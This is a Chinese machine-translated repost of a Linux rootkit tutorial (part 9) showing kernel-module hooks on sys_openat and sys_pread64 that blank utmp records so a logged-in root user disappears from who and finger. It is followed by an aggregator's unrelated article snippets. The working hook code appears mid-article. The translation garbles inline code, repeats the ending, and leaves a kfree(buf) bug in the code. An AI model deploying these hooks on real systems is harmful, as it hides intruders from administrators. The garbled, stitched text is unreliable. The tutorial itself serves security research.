9隐藏登录用户(无需接触磁盘即可修改文件内容)_Linux_Rootkit.md

Xcellerator

密码学Linux其他逆向工程

文章目录

  • [Linux Rootkit 第 9 部分:隐藏登录用户(无需接触磁盘即可修改文件内容)](https://xcellerator.github.io/posts/linux_rootkits_09/)
  • 终端设备
  • UTMP
  • 用户空间工具如何解析 UTMP?
  • 挂钩系统调用
  • 警告

Linux Rootkit 第 9 部分:隐藏登录用户(无需接触磁盘即可修改文件内容)

2020-10-16 :: TheXcellerator

# linux # rootkit #隐身 #登录 #用户

让我们看看是否可以隐藏用户已登录的事实!我们的想法是,我们将能够生成一个 shell 或以某个用户身份登录(我们将选择root),并且不会将其显示在who或 等工具的输出中finger

查看 的输出,我们会看到所有活动终端设备以及与其关联的用户who的列表。在进一步讨论之前,了解其中的内容会很有用。

终端设备

尽管有这个名称以及我们通常认为的“终端”,但终端设备并不局限于仅打开控制台窗口。在 的输出中who,您可能会tty首先看到一个设备,然后是一些pts设备(为什么使用“tty”(电传打字机的缩写)的历史非常有趣!请查看 ESR 的著名帖子以获得很好的解释)。

简而言之,tty设备是一种“物理终端”——实际上连接到硬件而不是模拟的终端。通常,每个用户只有其中一个(尽管不一定),并且仅真正用于生成显示驱动程序(X、Wayland 等),或者如果您实际位于服务器上,则仅用于登录会话本身。

设备pts是一个“伪终端”,这意味着它是模拟的,而不是直接连接到硬件(即,如果它冻结或锁定,整个用户会话不会崩溃)。这可能是您最熟悉的 - 从桌面打开终端可能是最常见的示例。如果您像我一样是串行多路复用器,那么每个tmux窗口screen也是一个新pts设备(尝试生成一些设备并检查who每次的输出)。如果您想知道哪个pts终端分配给您当前的终端,那么该tty命令就是您的朋友。

如果您看一下/dev,您可能会看到很多设备tty,但并非所有这些设备实际上都连接在任何地方(事实上,大多数设备都没有*)*。在 下/dev/pts,您还会看到您的活动pts设备。不过,我们在这里对它们无能为力,所以让我们回到 的输出who

UTMP

由于我们不知道如何 who“知道”谁登录了,最简单的方法就是运行它strace。我怀疑它可能使用系统上某处的文件来跟踪用户,因此我应用过滤-e openat器仅查看who系统上打开的文件。当我们在输出中发现以下行时,这一点得到了回报:

openat(AT_FDCWD, "/var/run/utmp", O_RDONLY|O_CLOEXEC) = 3

复制

这看起来很有趣!我们自己看一下这个文件:

$ cat /var/run/utmp
pts/0ts/0vagrant10.0.2.2y_|H5~~~runlevel5.4.0-48-genericy_tty1tty1tty1LOGINy_

复制

除了其中的单词pts和用户名vagrant之外,这看起来像是垃圾。但是,文件的大小(在我的系统上)是1536,因此其中显然有很多无法打印的字节。将输出通过管道传输到xxdhexyl确认我们已经获得了一个二进制文件。如果我们看一下man utmp,我们发现它utmp确实存储了系统的登录记录 - 并且我们发现的文件只是一些utmp结构的转储!太棒了 - 我们可以自己解析它。

在直接开始编写内核模块之前(此时,我仍然不确定如何在不覆盖此文件的情况下隐藏用户),我决定编写一个用户空间工具来解析此文件以掌握它的含义布局。结果是enum_utmp,它在与以前相同的系统上的输出如下所示:

$ ./enum_utmp
[Entry 0]
 ut_type = BOOT_TIME
 ut_pid = 0 - ""
 ut_line = ~
 ut_user = reboot

[Entry 1]
 ut_type = RUN_LVL
 ut_pid = 53 - ""
 ut_line = ~
 ut_user = runlevel

[Entry 2]
 ut_type = LOGIN_PROCESS
 ut_pid = 659 - "/sbin/agetty"
 ut_line = tty1
 ut_user = LOGIN

[Entry 3]
 ut_type = USER_PROCESS
 ut_pid = 1154 - "sshd: vagrant [priv]"
 ut_line = pts/0
 ut_user = vagrant

复制

它非常简单:首先它将 的内容读/var/run/utmp入缓冲区,然后循环遍历每个字节块(由 定义的结构384的大小),打印出每个结构的四个最相关的字段。为了获得更深入的了解,它还查找分配给每个条目的 PID 的进程名称(在 下)。utmp``/usr/include/utmp.h``/proc/$PID/cmdline

显然,这现在是我们的操纵目标。我们可以ut_user编辑这个文件并删除匹配的条目root,但让我们更聪明一点。让我们看看我们是否可以在不接触磁盘的/var/run/utmp情况下即时修改读取!

用户空间工具如何解析 UTMP?

首先,我们需要回到strace之前的输出。我们知道who调用sys_openat()open /var/run/utmp,但接下来它会做什么呢?这是(大量截断的)输出strace who

openat(AT_FDCWD, "/var/run/utmp", O_RDONLY|O_CLOEXEC) = 3

pread64(3, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 0) = 384
pread64(3, "\1\0\0\0005\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 384) = 384
pread64(3, "\6\0\0\0\223\2\0\0tty1\0tty1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 768) = 384
pread64(3, "\7\0\0\0\202\4\0\0pts/0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 384, 1152) = 384
pread64(3, "", 384, 1536) = 0

close(3) = 0

复制

啊哈!这 4 个调用sys_pread64()对应于上面输出中的 4 个条目enum_utmp。这告诉我们,who使用系统调用一次sys_pread64()读取字节块的内容/var/run/utmp(最后一个参数是一个偏移量,我们可以在上面看到它从(文件的开头)开始,并在每次读取时递增。称为)。384``sys_pread64()``0``384

如果我们可以使用系统调用钩子拦截这些调用sys_pread64(),我们就可以解析作为结构填充的每个缓冲区utmp,并覆盖其字段与!ut_user匹配的任何缓冲区。该技术在思想上与第 6 部分和第 7 部分类似,但是,正如您很快就会看到的,执行方式却截然不同。root``0x0

问题是我们不能只解析填充的每个sys_pread64()缓冲区- 我们如何知道它甚至是一个utmp结构?我想我们可以检查缓冲区的大小是否恰好是384字节,但这仍然有点混乱。一个更好的想法是也挂钩sys_openat()并监视打开的尝试/var/run/utmp(记住,读取系统调用仅获取文件描述符,而打开系统调用获取实际的文件名!)。然后我们可以保存这个文件描述符,这样我们只需检查它是否与传递给 的参数匹配sys_pread64()sys_pread64()这也不会让内核陷入同样的困境,因为我们每次调用时只进行整数比较,而不是解析通过的每个缓冲区。

挂钩系统调用

尝试挂钩sys_openat()是令人讨厌的。这是因为它几乎不断地被调用,并且对时间延迟*非常敏感。*这意味着我们没有足够的喘息空间来做太多事情。特别是,如果我们保存 的返回值sys_openat(),然后在返回之前花费太长时间,整个系统就会锁定(使用 vagrant 如此有用的另一个原因!)。如果发生任何分支行为,情况尤其如此。

为了避免这种情况,当我们编写hook_openat()函数时,我们必须非常小心,在调用orig_openat()和返回它给我们的文件描述符之间使用尽可能少的代码。幸运的是,我们关心的是文件名,它作为参数传递给sys_openat(). 这意味着我们可以在调用之前自由地进行比较和 if/else 语句orig_openat()

考虑到所有这些,实际的钩子相当简单:

/*
 * Global variable for the file descriptor we need to mess with.
 * In practice, hook_openat() will set it, and hook_pread64()
 * will read it.
 */
int tamper_fd;

/* Declaration for the real sys_openat() - pointer fixed by Ftrace */
static asmlinkage long (*orig_openat)(const struct pt_regs *);

/* Sycall hook for sys_open() */
asmlinkage int hook_openat(const struct pt_regs *regs)
{
    /*
     * Pull the filename out of the regs struct
     */
    char *filename = (char *)regs->si;

    char *kbuf;
    char *target = "/var/run/utmp";
    int target_len = 14;
    long error;

    /*
     * Allocate a kernel buffer to copy the filename into
     * If it fails, just return the real sys_openat() without delay
     */
    kbuf = kzalloc(NAME_MAX, GFP_KERNEL);
    if(kbuf == NULL)
        return orig_openat(regs);

    /*
     * Copy the filename from userspace into the kernel buffer
     * If it fails, just return the real sys_openat() without delay
     */
    error = copy_from_user(kbuf, filename, NAME_MAX);
    if(error)
        return orig_openat(regs);

    /*
     * Compare the filename to "/var/run/utmp"
     * If we get a match, call orig_openat(), save the result in tamper_fd,
     * and return after freeing the kernel buffer. We just about get away with
     * this delay between calling and returning
     */
    if ( memcmp(kbuf, target, target_len) == 0 )
    {
        tamper_fd = orig_openat(regs);
        kfree(kbuf);
        return tamper_fd;
    }

    /*
     * If we didn't get a match, then just need to free the buffer and return
     */
    kfree(kbuf);
    return orig_openat(regs);
}

复制

好吧,这相当简单。幸运的是,似乎有足够的容忍度让我们在保存文件描述符tamper_fd和将其返回到用户空间之间释放内核缓冲区(hook_openat()会被多次调用,所以我们绝对不想让内核缓冲区处于非自由状态)周围有内核缓冲区!)。

接下来,我们需要编写hook_pread64()函数。的参数与sys_pread64()相同,sys_read()只是我们有一个额外的loff_t偏移量,该偏移量指示我们正在读取文件的深度(384每次sys_pread64()调用时都会增加该偏移量who)。这意味着我们的钩子将采用与之前填充缓冲区的系统调用钩子非常相似的形式。

我们可以检查的第一件事是fd参数(存储在rdi寄存器中)是否匹配tamper_fd(当我们这样做时,我们最好确保fd不是0,12)。如果我们得到匹配,那么我们可以继续分配一个内核缓冲区,调用真正的系统调用,并将填充的用户空间缓冲区复制到内核缓冲区中。此时,我们可以通过将缓冲区转换为结构来解析缓冲区utmp(我必须将结构的定义粘贴到头文件中,因为实际的utmp.h不是内核头 - 请参阅utmp.h存储库)。

完成此操作后,我们可以将该ut_user字段与进行比较root。如果我们得到匹配,那么我们只需覆盖缓冲区0x0并将其复制回用户!如果你想隐藏 以外的用户root,那么你当然需要将其更改为其他用户。

#include "utmp.h"

#define HIDDEN_USER "root"

/* This is the global tamper_fd variable that gets set by hook_openat() */
int tamper_fd;

/* Usual declaration of orig_pread64(), will have pointer fixed by ftrace */
static asmlinkage long (*orig_pread64)(const struct pt_regs *);

/* Hook for sys_pread64() */
asmlinkage int hook_pread64(const struct pt_regs *regs)
{
    /*
     * Pull the arguments we need out of the regs struct
     */
    int fd = regs->di;
    char *buf = (char *)regs->si;
    size_t count = regs->dx;

    char *kbuf;
    struct utmp *utmp_buf;
    long error;
    int i, ret;

    /*
     * Check that fd = tamper_fd and that we're not messing with STDIN, 
     * STDOUT or STDERR
     */
    if ( (tamper_fd == fd) &&
            (tamper_fd != 0) &&
            (tamper_fd != 1) &&
            (tamper_fd != 2) )
    {
        /*
         * Allocate the usual kernel buffer
         * The count argument from rdx is the size of the buffer (should be 384)
         */
        kbuf = kzalloc(count, GFP_KERNEL);
        if( kbuf == NULL)
            return orig_pread64(regs);

        /*
         * Do the real syscall, save the return value in ret
         * buf will then hold a utmp struct, but we need to copy it into kbuf first
         */
        ret = orig_pread64(regs);

        error = copy_from_user(kbuf, buf, count);
        if (error != 0)
            return ret;

        /*
         * Cast kbuf to a utmp struct and compare .ut_user to HIDDEN_USER
         */
        utmp_buf = (struct utmp *)kbuf;
        if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 )
        {
            /*
             * If we get a match, then we can just overwrite kbuf with 0x0
             */
            for ( i = 0 ; i < count ; i++ )
                kbuf[i] = 0x0;

            /*
             * Copy kbuf back to the userspace buf
             */
            error = copy_to_user(buf, kbuf, count);

            kfree(kbuf);
            return ret;
        }

        /*
         * We intercepted a sys_pread64() to /var/run/utmp, but this entry
         * isn't about HIDDEN_USER, so just free the kernel buffer and return
         */
        kfree(buf);
        return ret;
    }

    /*
     * This isn't a sys_pread64() to /var/run/utmp, do nothing
     */
    return orig_pread64(regs);
}

复制

这几乎就是全部内容了!填写其余部分(Ftrace、4.17 之前的调用约定版本等) ,或者从存储库中获取源代码,我们就可以进行测试了!

如果我们想创建一个新的pts分配给根,我们需要使用终端多路复用器。最简单的可能是屏幕(简单的sudo bash还不够)。

如果您以前没有使用过screen,基本用法非常简单;screen -S <name>将创建一个名为 的新终端<name>。此时您将看到一个新的 shell 提示符。Ctrl-a随后d将脱离终端并带您回到之前所在的位置。现在,您可以用来screen -ls列出所有屏幕会话,并screen -x <name>重新附加到其中一个。它对于在连接不牢的情况下通过 SSH 在服务器上运行更新特别有用。

我们可以启动一个根终端,sudo screen -S root_term然后切换到另一个终端(分离将导致根本root不显示)。who运行who并检查您的用户 和root是否都在列表中。

接下来,我们可以加载内核模块并who再次尝试运行——这一次root已经不见踪影了!如果您跳回screen以 root 身份运行的终端,您将看到会话完全不受影响。从 root 的终端运行who却被告知您尚未登录是特别有趣的!卸载模块将撤消所有内容并root再次显示。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

请记住,我们实际上从未接触过该/var/run/utmp文件!我们所做的就是坐下来等待某些东西(who)打开它,然后拦截后续的读取。

警告

模块已加载并且根终端仍然打开,让我们尝试./enum_utmp再次运行。我的条目之一是:

[Entry 6]
 ut_type = USER_PROCESS
 ut_pid = 5301 - "/bin/bash"
 ut_line = pts/2
 ut_user = root

复制

嗯……为什么./enum_utmp仍然可以看到该root帐户,但who(和finger等)却看不到?回想一下,在straceof中who,我们看到它不断地进行sys_pread64()大小调用384,直到到达文件末尾。如果你看一下源码./enum_utmp.c,你会发现我没有这样做:

/*
 * Copy the contents of /var/run/utmp into our buffer
 */
fread((void *)buf, sizeof(struct utmp), BUFSIZE / sizeof(struct utmp), fp);

复制

在这里,我根据手册页fread()使用了它,从文件描述符读取二进制输入。它所做的只是将文件描述符中的size 字节块复制到缓冲区中。换句话说,数据字节从into中读取。BUFSIZE / sizeof(struct utmp)``sizeof(struct utmp)``fp``buf``BUFSIZE``fp``buf

对于源代码来说这一切都很好,但让我们看看编译后会发生什么。这是(大量截断的)输出strace ./enum_utmp

openat(AT_FDCWD, "/var/run/utmp", O_RDONLY) = 3

read(3, "\2\0\0\0\0\0\0\0~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 12288) = 2688
read(3, "", 8192)                       = 0

close(3)                                = 0

复制

请注意,我们只进行了一次sys_read()调用(如果算上文件末尾后面的空调用,则为 2 次)。请注意,返回值为2688,即7 * 384。老实说,这是非常糟糕的做法,因为BUFSIZE它被硬编码到第 6 行12288 = 32 * 384-如果 中有超过 32 个条目会发生什么?我们会想念他们,就是这样。但只是为了更好地理解该结构而编写的,所以这没什么大不了的。/var/run/utmp``enum_utmp``utmp

话虽如此,因为我们将整个文件复制到缓冲区中,然后384一次解析它的字节(第 61 行),所以我们不会陷入这样的陷阱whofinger可以说,这是通过“正确的方式”做事)384一次仅读取和解析字节,直到到达文件末尾)。

由于所有这些原因,尽管并被遗忘,enum_utmp仍然显示已root登录。看来我们在编写 rootkit 之前就已经击败了它!who``finger

直到下一次…

阅读其他帖子


←牙齿出血深潜Linux Rootkit 第 8 部分:隐藏开放端口→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

编写 rootkit 之前就已经击败了它!who``finger

直到下一次…

阅读其他帖子


←牙齿出血深潜Linux Rootkit 第 8 部分:隐藏开放端口→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

<<< 随机 >>>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/370073.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何实现冻干机和产品全生命周期的验证和监测?

为什么冻干需要工艺优化和合规性 冻干是制药和生物技术产品的关键工艺&#xff0c;需要精确控制关键的温度和压力参数。通过遵守 GMP 和 FDA 合规性等监管准则&#xff0c;您可以生产出更高质量的产品&#xff0c;避免不必要的浪费&#xff0c;并缩短产品上市时间。 要想在冻干…

[linux] kolla-ansible 部署的openstack 修改mariadb默认端口号

kolla-ansible 部署前修改global.yml #freezer_database_backend: "mariadb" database_port: 9306 mariadb_port: 9306如果已经部署成功&#xff0c;直接修改配置文件里的端口号重启是没有用的&#xff0c;怀疑内部做了缓存&#xff0c;查看openstack 使用的memcach…

零基础学编程,从入门到精通,中文编程工具下载,时间选择构件用法

零基础学编程&#xff0c;从入门到精通&#xff0c;中文编程工具下载&#xff0c;时间选择构件用法 一、前言 编程工具下载及源码文件下载路径 编程入门视频教程链接 https://edu.csdn.net/course/detail/39036 编程工具及实例源码文件下载可以点击最下方官网卡片——软件…

Unity类银河恶魔城学习记录1-11 PlayerPrimaryAttack P38

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释&#xff0c;可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili Player.cs using System.Collections; using System.Collections.Generic…

基于spring boot实现邮箱发送和邮箱验证

目录 一、邮箱发送实现1. 开通邮箱服务2. 添加邮箱依赖3.添加配置4.添加邮箱通用类5. 测试类 二、邮箱验证实现1.添加依赖2. 添加配置3.添加controller4. 测试 项目地址: https://gitee.com/nssnail/springboot-email 一、邮箱发送实现 1. 开通邮箱服务 使用qq邮箱、163邮箱都…

《计算机网络简易速速上手小册》第10章:未来网络技术趋势(2024 最新版)

文章目录 10.1 边缘计算与网络设计 - 未来网络的速度与激情10.1.1 基础知识10.1.2 重点案例&#xff1a;使用 Python 实现边缘计算的实时视频分析准备工作Python 脚本示例 10.1.3 拓展案例1&#xff1a;智能交通系统Python 脚本示例 - 边缘计算设备上的交通流量分析 10.1.4 拓展…

vcruntime140_1.dll 文件缺失的解决方法,简单的修复方法分享

遇到 vcruntime140_1.dll 文件缺失是一种常见的问题&#xff0c;但无需过于担心&#xff0c;因为这类问题通常有多种解决办法。接下来&#xff0c;我会为大家详细介绍如何处理 vcruntime140_1.dll 文件缺失的情况&#xff0c;以及在解决过程中应该注意的重要事项。 一.vcrunti…

Python flask 模板详解

文章目录 1 概述1.1 模板简介1.2 templates 文件1.3 简单应用 2 模板语法2.1 for 循环2.2 if 判断 3 模板的继承3.1 格式要求3.2 实现示例3.3 复用父模板的内容&#xff1a;super 1 概述 1.1 模板简介 定义&#xff1a;定义好的 html 文件&#xff0c;用于快速开发 web 页面J…

04-OpenFeign-请求超时机制

基于 2021.0.1版本 具体有以下几种超时参数设置 以下仅限2021.0.1 以前的版本&#xff0c;高于该版本的spring cloud 已修复该问题 1、默认的超时时间 默认不生效 连接超时时间10秒、读超时时间60秒&#xff0c;源码在feign.Request.Options#Options()这个方法中 2、open…

在Linux中如何理解页表和进程地址

1、进程地址是进程读取资源的窗口 2、页表决定了进程真实拥有的资源情况 3、合理的对进程地址空间页表进行资源划分&#xff0c;就可以对进程的资源进行分类 这个过程应该如何去理解呢请看下面的图 我们知道程序被加载到进程中&#xff0c;会产生相应的PCB&#xff0c;并且…

【JavaScript 漫游】【006】数据类型 array

文章简介 本文为【JavaScript 漫游】专栏的第 006 篇文章&#xff0c;记录笔者在了解 JS 数据类型 array 中摘录的知识点。 数组的本质是对象属组的 length 属性for ... in 循环和数组的遍历数组的空位类数组对象 除了上述 5 个重要知识点&#xff0c;学习数组更为重要的是掌…

CSS transition(过渡效果)详解并附带示例

CSS过渡效果&#xff08;CSS transitions&#xff09;是一种在元素属性值发生变化时&#xff0c;通过指定过渡效果来实现平滑的动画效果的方法。通过定义起始状态和结束状态之间的过渡属性&#xff0c;可以使元素的变化更加流畅和可视化。 过渡效果的基本语法如下&#xff1a;…

使用潜在向量进行检测、屏蔽和重建以进行遮挡的面部表情识别

Latent-OFER: Detect, Mask, and Reconstruct with Latent Vectors for Occluded Facial Expression Recognition 一、创新点 &#xff08;1&#xff09;提出了一种与表情相关的特征提取器&#xff0c;它使用空间注意力为特定的面部特征分配更高的权重&#xff0c;从而使我们能…

前端开发中不同语言【react-i18next】

目录 查看并设置语言 单页面&#xff1a;html lang ​编辑 浏览器 自定义翻译&#xff1a;react-i18next 设置 模块&#xff1a;staticData.ts 散(重复利用)&#xff1a;命名空间.json 应用 准备 html标签 查看并设置语言 单页面&#xff1a;html lang 英语: <…

RflySim | 定点位置控制器设计实验三

RflySim| 定点位置控制器设计实验三 01 分析实验 1.调节PD控制器的相关参数改善系统控制性能&#xff0c;并记录超调量和调节时间&#xff0c;得到满意的参数。 2.在得到满意参数后&#xff0c;对系统进行扫频以绘制Bod图&#xff0c;观察系统幅频响应、相频响应曲线&#xf…

【服务器】RAID(独立磁盘冗余阵列)

RAID&#xff08;独立磁盘冗余阵列&#xff09; 一、RAID的介绍二、RAID的分类#2-1 RAID 02-2 RAID 1#2-3 RAID 32-4 RAID 52-5 RAID 62-6 RAID 10(先做镜像&#xff0c;再做条带化)2-7 RAID 01&#xff08;先做条带&#xff0c;再做镜像&#xff09;2-8 RAID比较 三、磁盘阵列…

国内最全的Spring Boot系列之七

• 阿里巴巴前高级研发工程师 • 三家千万级互联网企业技术顾问 • MBTI/盖洛普技术专家 • 厦门某高校外聘教师 • 51CTO特约合作讲师 • 网易云课堂签约讲师 •《深入理解设计模式》作者 一转眼马上要过年了&#xff0c;回首2023年&#xff0c;感觉自己无所事事、碌碌无…

探索网络定位与连接:域名和端口的关键角色

目录 域名 域名的作用 域名的结构 域名的解析配置 父域名、子域名​编辑 https的作用 端口 图解端口 端口怎么用 判断网站是否存活 端口的作用 域名 域名是互联网上用于标识网站的一种易于记忆的地址。 域名是互联网基础架构的一个重要组成部分&#xff0c;它为网…

Django学习记录01

1.项目结构 djangoProject02 ├── manage.py 【项目的管理&#xff0c;启动项目、创建app、数据管理】【不要动】【常常用】 └── jangoProject02 ├── __init__.py ├── settings.py 【项目配置】 【常常修改】 ├── urls.py …

为什么要配置环境变量?

华子目录 什么是环境变量&#xff1f;Path环境变量使用%%引用环境变量操作步骤 使用%%引用环境变量的优点 用户变量和系统变量的区别 什么是环境变量&#xff1f; 环境变量&#xff1a;一般是指再操作系统中用来指定操作系统运行环境的一些参数&#xff0c;如&#xff1a;临时…